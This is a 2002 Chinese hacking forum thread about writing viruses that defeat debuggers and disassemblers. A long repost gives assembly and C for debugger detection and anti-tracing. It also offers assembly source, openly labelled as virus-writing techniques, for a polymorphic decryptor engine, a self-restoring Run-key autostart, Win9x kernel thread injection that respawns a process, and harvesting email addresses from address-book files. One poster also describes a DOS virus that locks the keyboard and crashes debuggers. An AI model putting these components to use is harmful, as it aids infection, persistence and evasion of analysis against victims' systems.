阅读:12392回复:56
这个想法在我脑中已经很久了!
各位病毒大侠,有没有人深入分析过反汇编工具代码,如果有一个
病毒,会先破坏如debug之类工具的机制,然后再发作,至于如何 破坏可以讨论一下,好像很难。在Linux下,我在英文手写输入法 可执行文件中加了管道使它可以识别中文,我们可以想一些办法,让 反汇编也找不到病毒!请各位指点! |
|
|
沙发#
发布于:2002-07-11 16:36
施主
1,反汇编肯定会看到病毒代码 2,你说的破坏debug,应该是反跟踪吧 |
|
|
板凳#
发布于:2002-07-11 16:44
我没有特指某种方法,你说反汇编肯定会看到病毒代码,那我们
就想办法改这段代码,我不是说过我改了英文手写输入法可执行文件 使它能识别中文,不过要改需要深入分析反汇编的代码,花猫,你 看过吗?说来听听! |
|
|
地板#
发布于:2002-07-11 16:50
我没有特指某种方法,你说反汇编肯定会看到病毒代码,那我们 1,贫僧没看过 2,反汇编就是从程序入口开始把代码反汇编过来。 如果能很好隐藏病毒入口,那么可以在一定程度上阻止反汇编,但不能完全阻止。 |
|
|
地下室#
发布于:2002-07-11 16:57
说得没错,但是“从程序入口开始把代码反汇编过来”是要用
一段代码去实现啊,我是说去改这段代码,当然这困难重重, 还需同志们多多努力! |
|
|
5楼#
发布于:2002-07-11 17:01
楼上老兄你好,请教一下linux下的跟踪反汇编工具除了gcc有没有类似softice的?
|
|
|
6楼#
发布于:2002-07-11 17:06
说得没错,但是“从程序入口开始把代码反汇编过来”是要用 faint! Linux我不知道,起码在Windows下SoftIce、IDA、WinDsm都能反汇编,你怎么改它们??? 你难道想改反汇编软件?不现实! |
|
|
7楼#
发布于:2002-07-11 17:16
转贴两篇文章,linux也应该有类似思路
1: anti-debuggers技术探讨 “anti-”一词在E文中是表示“反对, 抵抗”之义的前缀,而“debugger”是泛指各种调试(出错)器,包括大家熟悉的softice、TRW2000及DOS下的debug、turbodebug,还包括一些大家不是很熟悉的监测分析工具等等,凡是能够对应用程序进行动态跟踪分析、调试、监测的软件都可以称作“debugger”。所谓“anti-debuggers”技术,顾名思义就是防止、防范这类工具起作用的技术,简而言之就是反调试、反跟踪技术。 为什么会有“anti-debuggers”技术的存在?它有什么作用呢?我们知道,世界上的事物总是对立与统一的结合,就像矛与盾的关系,有矛就有盾,失去了矛,盾也就没有存在的必要了。有人开发各种软件,为了防止别人未经授权擅自使用,于是在程序中使用了加密防范技术,使得任何其它人想要使用它都必须得到作者的许可,可是偏偏就有那么一些人(cracker)秉承“share”的理念,非要靠自己的技术在特殊工具的帮助下亲自动手来揭开“潘多拉盒子”之谜,于是加密者发现自己的东西被别人“窃取”,所以就要想出对付那些特殊工具、使它们失去作用的技术,这就是“anti-debuggers”技术产生的根源。现在破解早已不是什么隐晦的事情了,各种debuggers为这种技术的实现奠定了基础,特别是像softice这种大哥级的人物,只要想起它,加密者心里都会抖一抖,但是任何debugger本身也只不过是一个程序而已,它有自己的运行方式,有自己的弱点,有被别人当作漏洞的地方,这就是“anti-debuggers”技术产生的基础。 讲了这么多,是不是觉得有点形而上学呢?也许你会问,我怎么知道什么样的程序使用了“anti-debuggers”技术呢?其实也没有什么确定的方法来判断应用程序是否使用了“anti-debuggers”技术,不过我们始终要注意一点,那就是“anti-debuggers”技术的目的主要是防止debugger的跟踪、分析及调试,所以首先是要想办法发现系统中存在的debuggers,然后采取行动阻止debuggers起作用,其表现无非就是出现异常死机、系统异常重启、异常错误、错误警告、软件自毁、更严重的还会破坏文件甚至大肆破坏系统。。。等等非常可怕的行为。当然,不是说凡是破解中遇到这些情况就一定说明程序使用了“anti-debuggers”技术,首先你要排除异常的情况是否是由系统不稳定或是被跟踪的程序“正常”抛出的,如果你的调试器本身不稳定而导致系统异常,那就没办法了。不过值得庆幸的是如果你使用softice,通常不会有什么问题的,因为softice真的是稳定无比,就像泰山一样,而其它的调试器就不敢恭维了^_^!不过正是由于softice实在太强大,因而现在的“anti-debuggers”技术主要是冲着它来的。在排除“正常”的错误之后,如果有条件的话,我们还可以通过改变跟踪系统、环境及电脑的方法来重演错误事件,如果问题依旧,应该可以肯定是中了“anti-debuggers”技术的陷井。 下面给大家介绍一些常用的“anti-debuggers”技术(主要是debugger的检测技术): 1. 利用softice的后门指令(Back Door commands): 后门指令通过中断INT 03来进行,通过softice的后门指令可以获得softice版本信息、获得和设置断点、执行softice中的指令等。。。 ----------------------------------------------------------------------------------------------- INT 03 子功能:获取softice版本信息 入口参数: -AX = 0000h -SI = 4647h (\'FG\') -DI = 4A4Dh (\'JM\') 返回值:BCD版本号(如0280h = v2.80) ----------------------------------------------------------------------------------------------- INT 03 子功能:弹出softice窗口并开始调试程序 入口参数: -AX = 0902h -SI = 4647h (\'FG\') -DI = 4A4Dh (\'JM\') -DS:BX -> 寄存器初始化值 返回值:未知 寄存器初始化值的格式: 偏移 大小 内容 00h WORD SP初始化值 02h WORD SS初始化值 04h WORD IP初始化值 06h WORD CS初始化值 08h WORD DS和ES初始化值 0Ah WORD ??? 0Ch WORD ??? 0Eh WORD ??? 10h WORD AX初始化值 12h WORD ??? (默认为000AH ???) 14h WORD ??? (默认为0001H ???) 16h WORD ??? (默认为0100H ???) ----------------------------------------------------------------------------------------------- INT 03 子功能:在softice窗口中显示字符串 入口参数: -AX = 0910h -SI = 4647h (\'FG\') -DI = 4A4Dh (\'JM\') -DS:DX -> 需要显示的ASCIZ字符串(最多100个字节, 0Dh表示OK) 返回值:无 (在softice中显示的字符串为“Soft-ICE is a debugger by Nu-Mega Technologies, Inc.”) ----------------------------------------------------------------------------------------------- INT 03 子功能:执行softice中的命令 入口参数: -AX = 0911h -SI = 4647h (\'FG\') -DI = 4A4Dh (\'JM\') -DS:DX -> ASCIZ命令字符串(最多100个字节, 0Dh表示OK,例如:“HBOOT”,ODH,0) 返回值:无 说明:这里的所说的命令可以是我们在softice中使用的任何一个命令,例如:LDT, IDT, GDT, TSS, RS ... 甚至是HBOOT,总之,通过这个功能调用,使用“anti-debuggers”技术的程序能够完全控制softice的操作, 比如它如果执行HBOOT,那么结果就是重新启动系统了!!! ----------------------------------------------------------------------------------------------- INT 03 子功能:获取softice断点信息 入口参数: -AX = 0912h -SI = 4647h (\'FG\') -DI = 4A4Dh (\'JM\') 返回值: -BH = 上一次断点设置的入口序号 -BL = 上一次断点设置的类型 -DH = 上一次被触发的断点的入口序号 -DL = 上一次被触发的断点的类型 断点类型值: 00h BPM (断点寄存器类型) 01h I/O 02h INTerrupt 03h BPX (INT 03形式的断点) 04h reserved 05h range ----------------------------------------------------------------------------------------------- INT 03 子功能:设置softice断点 入口参数: -AX = 0913h -SI = 4647h (\'FG\') -DI = 4A4Dh (\'JM\') -DS:DX -> 断点结构(breakpoint structure) 返回值: -AX = 状态 00h 设置成功,此时BX = 断点序号 03h 断点表已经满 06h 内存限制错误 07h I/O限制错误 09h 范围限制错误 16h 重复断点 ----------------------------------------------------------------------------------------------- INT 03 子功能:清除softice断点 入口参数: -AX = 0914h -SI = 4647h (\'FG\') -DI = 4A4Dh (\'JM\') -BX = 断点序号(由子功能0913h返回的) 返回值:BX(未知信息) ----------------------------------------------------------------------------------------------- 我们可以看到,每个子功能的入口参数都有相同的部分:即SI = 4647h (\'FG\');DI = 4A4Dh (\'JM\'),这两个入口值在softice中叫做“魔法值”(magic values),凡是softice的后门指令都必须以这两个数为标志。 利用softice的后门指令是非常常用的“anti-debuggers”技术,因为所谓后门指令其实也就是softice自己所使用的,它不仅可以获取softice的信息,甚至可以随意控制softice的操作,威力无比! 2. 搜索由任何系统调试器所返回的魔法数-->0F386h(magic number),通过调用INT 41H的子功能4Fh实现,有下面的一些方式: ----------------------------------------------------------------------------------------------- mov ax,4fh int 41h cmp ax, 0F386 jz SoftICE_detected ----------------------------------------------------------------------------------------------- mov bx, cs lea dx, int41handler2 xchg dx, es:[41h*4] xchg bx, es:[41h*4+2] mov ax,4fh int 41h xchg dx, es:[41h*4] xchg bx, es:[41h*4+2] cmp ax, 0f386h jz SoftICE_detected int41handler2 PROC iret int41handler2 ENDP ----------------------------------------------------------------------------------------------- xor ax,ax mov es,ax mov bx, cs lea dx, int41handler xchg dx, es:[41h*4] xchg bx, es:[41h*4+2] in al, 40h xor cx,cx int 41h xchg dx, es:[41h*4] xchg bx, es:[41h*4+2] cmp cl,al jnz SoftICE_detected int41handler PROC mov cl,al iret int41handler ENDP ----------------------------------------------------------------------------------------------- 这个方法不只是针对softice,而是所有任意的系统调试器(debugger),因此效果比较明显,也比较常用。 3. 通过中断INT 68H检测WinICE句柄: ----------------------------------------------------------------------------------------------- mov ah,43h int 68h cmp ax,0F386h jz SoftICE_Detected ----------------------------------------------------------------------------------------------- 注意:在softice中我们是不能通过 BPINT 68 来设置断点的,但是可以通过另外一个命令实现:BPX exec_int if ax==68,其中被调用的函数位于[ebp+1Dh],客户EIP(client eip)位于[ebp+48h],这个断点设置方法只对32位应用程序有效; 4. 利用WINDOWS的API函数CreateFileA来试图打开调试器的驱动程序句柄,这就是著名的“MeltICE”方法,NuMega公司的人用这个方法来使Symbol Loader检查softice是否已经激活 (这段代码位于nmtrans.dll中),虽然这个方法最初来源于softice,但是它对其它类型的debugger检测依然有效,调试器的驱动程序句柄有如下一些例子: SICE, SIWVID (对应softice Win9x版) NTICE (对应softice WinNT版) TRW、TRW2000、TRDEBUG (对应TRWIN) REGVXD (对应Registry Monitor) VKEYPRO (我也不知道这个对应什么程序^_^) FILEVXD (对应File Monitor) 。。。 具体检测方法可以用下面的程序来说明: BOOL IsSoftIce95Loaded() { HANDLE hFile; hFile = CreateFile( \"\\\\\\\\.\\\\SICE\", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if( hFile != INVALID_HANDLE_VALUE ) { CloseHandle(hFile); return TRUE; } return FALSE; } 对应于汇编代码的检测程序如下面所示: push 。。。 ; push 00402025 ; \'\\\\.\\SICE\',0 call CreateFileA cmp eax,-001 jnz SoftICE_detected 对于16位应用程序或是兼容16位的应用程序来说,它们并不支持API函数CreateFileA,而使用的是16位的_lopen函数: push 00 mov eax,[00656634] ; \'\\\\.\\SICE\',0 push eax call KERNEL32!_lopen inc eax jnz SoftICE_detected 为了检测这些检测程序,我们可以在softice中通过下面的断点来拦截它们: BPX CreateFileA if *(esp->4+4)==\'SICE\' || *(esp->4+4)==\'SIWV\' || *(esp->4+4)==\'NTIC\' BPINT 30 if eax==002A001F && (*edi==\'SICE\' || *edi==\'SIWV\') ; 将会中断3次 BPINT 30 if (*edi==\'SICE\' || *edi==\'SIWV\') BPX KERNEL32!ORD_0001 if *edi==\'SICE\' || *edi==\'SIWV\' ; 将会中断3次 BPX VMM_GetDDBList if eax->3==\'SICE\' || eax->3==\'SIWV\' 5. 利用softice的边界检查签名(The signature of BoundsChecker): ----------------------------------------------------------------------------------------------- mov ebp, 4243484Bh ; \'BCHK\' mov ax, 04h int 3 cmp al,4 jnz SoftICE_Detected ----------------------------------------------------------------------------------------------- 这个方法被大量地使用在网上各种加壳、加密软件中; 6. 搜索softice虚拟设备驱动程序的ID值(ID of SoftICE VxD),通过调用INT 2FH的子功能1684h实现: ----------------------------------------------------------------------------------------------- xor di,di mov es,di mov ax, 1684h mov bx, 0202h ; 搜索winice的VxD ID int 2Fh mov ax, es ; ES:DI 指向 VxD API 入口点 add ax, di test ax,ax jnz SoftICE_Detected ----------------------------------------------------------------------------------------------- xor di,di mov es,di mov ax, 1684h mov bx, 7a5Fh ; 搜索SIWVID的VxD ID int 2fh mov ax, es ; ES:DI 指向 VxD API 入口点 add ax, di test ax,ax jnz SoftICE_Detected ----------------------------------------------------------------------------------------------- 这种方法用得较少; 7. 下面的方法同样也是检测softice的VxD ID来判断它是否已经装入系统,不过使用的不是中断: ----------------------------------------------------------------------------------------------- mov eax, Device_ID ; softice的VxD ID,对应SICE等于202h;对应SIWVID,等于07a5Fh; mov edi, Device_Name ; VxD名字,针对于没有VxD ID的情况,不过对于我们讨论的问题老说是没有意义的; VMMCall Get_DDB mov [DDB], ecx ; 如果VXD没有安装,ECX返回0,否则返回DDB ----------------------------------------------------------------------------------------------- VMMCall Test_Debug_Installed je not_installed ----------------------------------------------------------------------------------------------- 这种方法只适用于系统0级(ring0),即虚拟设备驱动程序VxD或者是使用VxdCall的ring3应用程序;Get_DDB服务功能用来检查指定的设备是否安装,如果安装,则将设备描述块地址返回到ECX中;我们可以很容易的在softice中通过断点:bpx Get_DDB if ax==0202 || ax==7a5fh 来找到这个检测程序处; 8. 下面的方法通过VxDCall的后门(backdoor)来检测系统中是否安装了任何性质的调试器: ----------------------------------------------------------------------------------------------- push 0000004fh ; 功能号为4fh push 002a002ah ; 高位字指定是哪一个VxD (VWIN32) ; 低位字指定使用什么服务(VWIN32_Int41Dispatch) call Kernel32!ORD_001 ; VxdCall cmp ax, 0f386h ; 系统调试器返回的魔法数(magic number) jz SoftICE_detected ----------------------------------------------------------------------------------------------- 这种方法因为使用了VxdCall,所以只能在Windows 95/98中使用(NT不支持VxD),为了检测这种方法,我们可以在softice中通过下面的断点来拦截它: BPINT 41 if ax==4f BPINT 30 if ax==0xF386 ; BPX Exec_PM_Int if eax==41 && edx->1c==4f && edx->10==002A002A BPX Kernel32!ord_0001 if esp->4==002A002A && esp->8==4f ; 非常非常慢!!! 9. 通过注册表中的键值来直接检测是否安装了softice,不过并不能知道softice是否是激活的(即是否在内存中): -#1: HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SoftICE -#2: HKEY_LOCAL_MACHINE\\Software\\NuMega\\SoftICE -#3: HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Loader32.Exe -#4: HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\NTice 某些应用程序发现了注册表中的softice键值后会直接将其删掉,从而破还已经安装好的softice,在softice中可以用断点:BPX _regopenkey if *(esp->8+0x13)==\'tICE\' || *(esp->8+0x37)==\'tICE\'来拦截这种检测; 10. 通过对整个内存范围对softice特征字符串的搜查来判断softice是否已经安装并激活,下面是个例子: ----------------------------------------------------------------------------------------------- DATA_SICE DB 67h,66h,8bh,06h,0fh,22h,0d8h,26h,67h,66h DB 8bh,46h,04h,66h,26h,67h,0fh,01h,10h DATA_SICE_END assume cs:code,ds:code mov si,offset DATA_SICE mov dx,cs mov al,26h xor bp,bp cld loop1: mov es,bp mov cx,100h xor di,di loop2: repnz scasb jnz loop3 push cx push si push di mov cx,offset DATA_SICE_END-offset DATA_SICE repz cmpsb jz SoftICE_detected pop di pop si pop cx jmp short loop2 loop3: add bp,10h cmp bp,dx jb loop1 not_found: 。。。 ----------------------------------------------------------------------------------------------- 11. 通过改变DOS中断调用的25H/35H来设置改变原有的中断服务程序(主要是INT 01H和INT 03H),使系统崩溃,这个方法只是搞破坏,防止任何形式的对程序的非正常中断,因为程序已经改变了INT 01或INT 03中断服务程序,使得我们使用调试器设置断点或使用其它任何需要改变这两个中断的应用程序时系统直接崩溃或死机,而不管是否这个断点是如何产生的,甚至是正常程序出于正常需要的使用也不允许: ----------------------------------------------------------------------------------------------- mov ah, 25h mov al, Int_Number (主要是INT 01H和INT 03H) mov dx, offset New_Int_Routine int 21h ----------------------------------------------------------------------------------------------- 这种方法本人曾经领教过,确实是很厉害,只要一设置断点,马上死机,不过多少显得有点不道德,为什么这样说呢?因为假如中断并不是由于debugger产生,而是某些应用程序出于自身需要而产生的,这也要死机,大家有没有感觉有些强盗逻辑的味道呢! 上面介绍了这么多的“anti-debuggers”技术,我想以后再碰到这样的情况就不会那么头晕了吧!不过你肯定会问既然有如此多的“anti-debuggers”技术,那么我们如何去防范它们呢?一般说来有三种方法可以试一下: 第一、也是最简单易行的办法--采用专门的防止“anti-debuggers”技术的工具,比较有名的就是FrogsICE,用它对付大部分含有“anti-debuggers”技术的应用程序是没有什么问题的,其具体的使用方法请参阅主页上“破解教学”中的“FrogsICE使用指南”; 第二、通过对程序的静态分析(如用反编译工具W32DASM分析程序代码),找到其中“anti-debuggers”代码部分,然后用编辑工具(如HIEW)修改程序,使其“anti-debuggers”代码失效;不过这种方法对于加壳的程序来说没有用处,因为加壳的程序是不能进行静态分析的,我们可以先脱壳,然后再用反编译工具进行分析; 第三、在对程序的动态跟踪过程中和程序斗法,动态发现、找到“anti-debuggers”代码的位置,然后将其歼灭,对于断点的设置前面针对不同的“anti-debuggers”技术已经分别讨论过了。这种方法难度较大,可有些时候却是唯一的办法,需要有很大的耐心(面对无数次的死机、蓝屏。。。)! 最后,有关于上面所提到的中断的更详细信息,请参阅主页上“汇编语言”中的“中断大全”,里面有更多更详细的相关中断功能介绍。 http://ddcrack.yeah.net/ 2 病毒的高级编写技巧(WSS-SourceCode-02004) Author: whg Email: whg@whitecell.org Homepage:http://www.whitecell.org Date: 2002-05-24 1、超级病毒变形引擎 此段代码会在DATA段内生成一个解密代码。 .586p .model flat,STDCALL extrn ExitProcess: proc VirusSize=100h .data DecodeMethod dd ? DeCode: pushad call Encode db 100h dup(11h) Encode: db 100h dup(0cch) RndReg0 dd 0 ;eax RndReg1 dd 0 ;ebx RndCode dd 0 ;Rnd Code RndMima dd 60932561 ;Rnd Password .code @@Start: mov eax,RndMima ror eax,7 mov RndCode,eax mov eax,RndCode mov ecx,eax and eax,011b mov RndReg0,eax xor ecx,RndMima and ecx,011b cmp eax,ecx jnz short ChooseRegOk inc ecx and ecx,011b ChooseRegOk: mov RndReg1,ecx mov edi,offset Encode ror RndCode,1 call GetBxCode,0,RndReg0,RndCode mov esi,eax ContFillStep0: cld lodsb stosb cmp al,0cch jnz ContFillStep0 dec edi ror RndCode,1 call GetBxCode,1,RndReg1,RndCode mov esi,eax ContFillStep1: cld lodsb stosb cmp al,0cch jnz ContFillStep1 dec edi mov ebx,edi ;//计算机Jmp指令用 ror RndCode,1 call GetBxCode,2,RndReg0,RndCode mov esi,eax ContFillStep2: cld lodsb stosb cmp al,0cch jnz ContFillStep2 dec edi mov eax,RndMima mov [edi-4],eax ;//填写随机密码 mov eax,RndCode and eax,01 mov DecodeMethod,eax ;//填写DeCode方法 ror RndCode,1 call GetBxCode,3,RndReg0,RndCode mov esi,eax ContFillStep3: cld lodsb stosb cmp al,0cch jnz ContFillStep3 dec edi ror RndCode,1 call GetBxCode,4,RndReg1,RndCode mov esi,eax ContFillStep4: cld lodsb stosb cmp al,0cch jnz ContFillStep4 dec edi ror RndCode,1 call GetBxCode,5,RndReg0,RndCode mov esi,eax ContFillStep5: cld lodsb stosb cmp al,0cch jnz ContFillStep5 dec edi mov al,0c3h mov [edi],al ;//填写Ret指令 sub ebx,edi mov [edi-1],bl ;//填写jmp指令 int 3; jmp DeCode ret GetBxCode proc uses ebx ecx edx esi edi,Step:dword,Reg:dword,Rnd:dword call GetBxCodeAddr Step0_Eax: mov eax,[esp] int 3; pop eax push eax int 3; Step0_Ebx: pop ebx push ebx int 3; push dword ptr[esp] pop ebx int 3; Step0_Ecx: mov ecx,[esp] int 3; pop ecx push ecx int 3; Step0_Edx: mov edx,[esp] int 3; mov edx,esp mov edx,[edx] int 3 Step1_Eax: mov eax,VirusSize int 3 sub eax,eax add ax,VirusSize+3081h sub ax,3081h int 3 Step1_Ebx: mov ebx,VirusSize int 3; xor ebx,ebx or bx,VirusSize int 3; Step1_Ecx: sub ecx,ecx xor ecx,(VirusSize xor 3181h) xor ecx,(3181h) int 3; mov ecx,0 and cx,VirusSize int 3 Step1_Edx: and edx,0 xor dx,(VirusSize-0281h) add dx,0281h int 3; xor edx,edx sub edx,(0181h-VirusSize) sub edx,-0181h int 3; Setp2_Eax: xor [eax],12345678h int 3 add [eax],12345678h int 3 Setp2_Ebx: xor [ebx],12345678h int 3; add [ebx],12345678h int 3; Setp2_Ecx: xor [ecx],12345678h int 3; add [ecx],12345678h int 3; Setp2_Edx: xor [edx],12345678h int 3; add [edx],12345678h int 3; Step3_Eax: add eax,4 int 3 inc eax inc eax inc eax inc eax int 3; Step3_Ebx: add ebx,5 dec ebx int 3 add ebx,2 add ebx,2 int 3; Step3_Ecx: sub ecx,-4 int 3 sub ecx,-5 dec ecx int 3; Step3_Edx: inc edx sub edx,-3 int 3 add edx,04 int 3; Step4_Eax: sub eax,4 int 3 dec eax dec eax dec eax sub eax,1 int 3; Step4_Ebx: dec ebx sub ebx,3 int 3; dec ebx dec ebx sub ebx,2 int 3; Step4_Ecx: add cx,123 sub cx,123+4 int 3 sub cx,-4 dec cx sub cx,7 int 3 Step4_Edx: sub dx,2 dec dx sub dx,1 int 3 inc edx sub dx,5 int 3; Step5_Eax: jnz $ int 3 ja $ int 3 Step5_Ebx: jg $ int 3 jnb $ int 3 Step5_Ecx: jnl $ int 3 jnz $ int 3 Step5_Edx: ja $ int 3 jg $ int 3 GetBxCodeAddr: pop esi mov al,0cch ;//指令分割符 mov ecx,Step shl ecx,1 shl ecx,1 add ecx,Reg ;//计算机得到的指令位置 shl ecx,1 and Rnd,01b add ecx,Rnd jcxz short GetBxCodeOver ContFindCode: push ecx ContFindCC: inc esi cmp [esi],al jnz ContFindCC pop ecx loop ContFindCode mov eax,esi inc eax ret GetBxCodeOver: mov eax,esi ret GetBxCode endp end @@Start 2、Windows 9x/2000/xp 琐定注册表 .586p .model flat,STDCALL .data HKeyStr db \'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\',0 ValueName db \'wap32\',0 PathName db \'wap32.exe\',0 .code extrn RegOpenKeyA: proc extrn RegSetValueExA: proc extrn RegCloseKey: proc extrn ExitProcess: proc extrn RegNotifyChangeKeyValue: proc extrn CreateThread: proc extrn Sleep: proc extrn RegQueryValueExA: proc start: push eax call RegOpenKeyA,080000002h,offset HKeyStr,esp pop ebx call RegSetValueExA,ebx,offset ValueName,0,01,offset PathName,100h sub esp,100h mov eax,esp push 100h call RegQueryValueExA,ebx,offset ValueName,0,0,eax,esp pop eax add esp,100h push eax call CreateThread,0,0,offset RegProtectProc,ebx,0,esp pop eax call Sleep,1000*60*3 ret RegProtectProc proc hKey:dword mov ebx,hKey sub esp,100h mov edi,esp call GetProtectKeyName db \'wap32\',0 GetProtectKeyName: pop esi push 100h call RegQueryValueExA,ebx,esi,0,0,edi,esp pop eax WaitRegChangeNotify: call RegNotifyChangeKeyValue,ebx,0,4,0,0 call RegSetValueExA,ebx,esi,0,01,edi,100h jmp short WaitRegChangeNotify RegProtectProc endp end start 3、 Windows 9x/2000 意外处理通用程序 此段程序可以达到屏蔽程序错误的效果 include wap32.inc .386p .model flat,stdcall extrn MessageBoxA: proc extrn ExitProcess: proc .data Msg db \'Fuck\',0 SetSehFrame: ;ecx=忽略错误继续执行地址 pop eax ;弹出返回地址 push ecx ;保存忽略错误继续执行地址 call PushExceptionProc jmp short Exception PushExceptionProc: push fs:dword ptr[0] mov fs:[0],esp call GetEspAddr push D [edx] ;保存原Esp地址值 mov [edx],esp jmp eax ClearSehFrame: pop eax ;弹出返回地址 call GetEspAddr mov esp,[edx] pop D [edx] ;恢复原Esp地址值 pop fs:dword ptr[0] pop ecx pop ecx ;弹出忽略错误继续执行地址 jmp eax Exception proc pRecord,pFrame,pContext,pDispatch call PushSehBackProc call ClearSehFrame jmp ecx PushSehBackProc: pop ecx mov eax,pContext mov [eax.cx_Eip],ecx xor eax,eax ;忽略错误继续执行 ret Exception endp GetEspAddr: call PushOffsetEspAddr dd ? PushOffsetEspAddr: pop edx ret .code Start: call PushErrorProc call MessageBoxA,0,offset Msg,offset Msg,0 ret PushErrorProc: pop ecx call SetSehFrame mov ds:[0],eax call ClearSehFrame ret end Start 4、Windows 9x 下进程不死术 此段程序首先实现Win9x下注射远程线程(新技术) 然后与Win2k下进程不死术一样了。 include Win32.inc .386p .model flat,stdcall extrn GetProcAddress: proc extrn WinExec: proc extrn MessageBoxA: proc extrn Sleep: proc extrn GetCurrentProcessId: proc extrn OpenProcess: proc extrn GetCurrentProcess: proc extrn WriteProcessMemory: proc extrn GetExitCodeProcess: proc .data ;问题,要Sleep()这样做使Kernel32有机会更新数据 KnlThread proc ProcID:dword call GetKnlOpenProcess KnlOpenProcess dd ? GetKnlOpenProcess: pop eax call [eax],PROCESS_ALL_ACCESS,FALSE,ProcID or eax,eax jz short ExitProtectProc mov ebx,eax call GetKnlWaitForSingleObject KnlWaitForSingleObject dd ? GetKnlWaitForSingleObject: pop eax call [eax],ebx,-1h call GetFileNameAddress GetFileNameAddress: pop ecx add ecx,offset FileName-offset GetFileNameAddress call GetKnlWinExec KnlWinExec dd ? GetKnlWinExec: pop eax call [eax],ecx,01 ExitProtectProc: ret KnlThread endp FileName db \'c:\\wap32.exe\',0 KnlOpenProcessStr db \'OpenProcess\',0 KnlWaitForObjectStr db \'WaitForSingleObject\',0 KnlWinExecStr db \'WinExec\',0 KnlSleepStr db \'Sleep\',0 KnlCreateKnlThreadStr db \'CreateKernelThread\',0 .code Start: call GetProcAddress,0bff70000h,offset KnlOpenProcessStr mov KnlOpenProcess,eax call GetProcAddress,0bff70000h,offset KnlWaitForObjectStr mov KnlWaitForSingleObject,eax call GetProcAddress,0bff70000h,offset KnlWinExecStr mov KnlWinExec,eax call MoveDataToKnl,offset Start,0bff70600h,100h call GetProcAddress,0bff70000h,offset KnlCreateKnlThreadStr mov ebx,eax call GetCurrentProcessId push eax call ebx,0,0,0bff70000h+600h,eax,0,esp pop eax call MessageBoxA,0,offset FileName,offset FileName,0 ret MoveDataToKnl proc uses ebx esi edi,Src:dword,Des:dword,nCx:dword push eax sidt [esp-2] pop eax add eax,3*8 mov ebx,[eax] mov edx,[eax+4] call SetIdt03 pushad mov [eax],ebx mov [eax+4],edx cld rep movsb popad iret SetIdt03: cli pop W[eax] pop W[eax+6] mov esi,Src mov edi,Des mov ecx,nCx int 3; sti ret MoveDataToKnl endp end Start 5、简单算法,高效率压缩PE文件 .586p .model flat,STDCALL .data OldFile db \'pe.exe\',0 NewFile db \'pe.zzz\',0 FileData db 0,0 .code extrn _lopen: proc,_lcreat: proc extrn _lread: proc,_lwrite: proc extrn _lclose: proc extrn ExitProcess: proc start: call _lopen,offset OldFile,0 cmp eax,-1 jz ExitProc mov esi,eax call _lcreat,offset NewFile,0 cmp eax,-1 jz CloseOldFile mov edi,eax xor ebx,ebx ReadData: call _lread,esi,offset FileData,1 or eax,eax jz short ReadOver movzx eax,FileData or eax,eax jnz short NoZero inc ebx cmp ebx,0ffh jnz short ReadData xor eax,eax mov ah,bl xchg ax,word ptr FileData call _lwrite,edi,offset FileData,2 xor ebx,ebx jmp short ReadData NoZero: or ebx,ebx jnz short NoZeroData call _lwrite,edi,offset FileData,1 jmp short ReadData NoZeroData: push eax xor eax,eax mov ah,bl mov word ptr FileData,ax call _lwrite,edi,offset FileData,2 xor ebx,ebx pop eax mov FileData,al call _lwrite,edi,offset FileData,1 jmp ReadData ReadOver: or ebx,ebx jz short CloseFile xor eax,eax mov ah,bl xchg ax,word ptr FileData call _lwrite,edi,offset FileData,2 xor ebx,ebx CloseFile: call _lclose,edi CloseOldFile: call _lclose,esi ExitProc: call ExitProcess,0 end start 6、提取Windows地址薄文件(*.WAB)的Email信息 .586p .model flat,STDCALL .data MailFile db \'My.WAB\',0 .code extrn _lopen: proc,_lcreat: proc extrn _lread: proc,_lwrite: proc extrn _llseek: proc extrn _lclose: proc extrn MessageBoxA: proc extrn ExitProcess: proc extrn WideCharToMultiByte: proc start: call _lopen,offset MailFile,0 cmp eax,-1 jz short ExitProc mov ebx,eax sub esp,100h mov edi,esp call _lread,ebx,edi,100h cmp eax,100h jnz short CloseFile mov eax,[edi+60h] ;得到Unicode邮件名偏移 call _llseek,ebx,eax,0 mov ecx,[edi+64h] ;得到Unicode邮件名个数 ContWabMail: push ecx call _lread,ebx,edi,44h ;读一个记录 cmp eax,44 sub esp,100h mov eax,esp call WideCharToMultiByte,0,200h,edi,-1,eax,100h,0,0 mov eax,esp call MessageBoxA,0,eax,eax,0 add esp,100h pop ecx loop short ContWabMail CloseFile: call _lclose,ebx ExitProc: call ExitProcess,0 end start WSS(Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯。 WSS 主页:http://www.whitecell.org/ WSS 论坛:http://www.whitecell.org/forum/ [编辑 - 7/11/02 by Koms Bomb] |
|
|
8楼#
发布于:2002-07-11 17:26
lyabcd施主,我帮你编辑了上面那个帖子,把笑脸功能去掉,这样代码中就没笑脸了
贫僧第一个病毒,也是唯一一个DOS病毒,虽然异常烂,但anti-debug的能力不错,可以做到 1,病毒初始化时锁住键盘 2,单步跟踪不久就会死机 3,断点下的不对也会死机 4,在TD里按F9一直跑,不下断点也不单步,也会死机 5,不动态改病毒代码,则无法跟踪 不过后来我开始写Win32病毒时,对anti-debug不是特别重视,研究也少了。 [编辑 - 7/11/02 by Koms Bomb] |
|
|
9楼#
发布于:2002-07-11 17:31
gcc好像不能跟踪吧,在Linux下反汇编一般用objdump,这是一个
比debug功能强大的多的反汇编工具,调试用gdb,附两篇用法文章! 改反汇编软件不是不可能,我想肯定有人试过,但是太难了,需要 考虑很多东西,这比编一个病毒要麻烦! |
|
|
10楼#
发布于:2002-07-11 17:35
gcc好像不能跟踪吧,在Linux下反汇编一般用objdump,这是一个 ”改反汇编软件不是不可能“?是的,可能,但改写每个反汇编软件?有用吗? 我不和你讨论这个问题了,贫僧水平不高,但可以给你个最后结论,你这想法是误区,是行不通地 |
|
|
11楼#
发布于:2002-07-11 17:44
防反真是无止境呀,呵呵
|
|
|
12楼#
发布于:2002-07-11 18:08
我个人认为,不必改所有反汇编工具,那当然不可能了
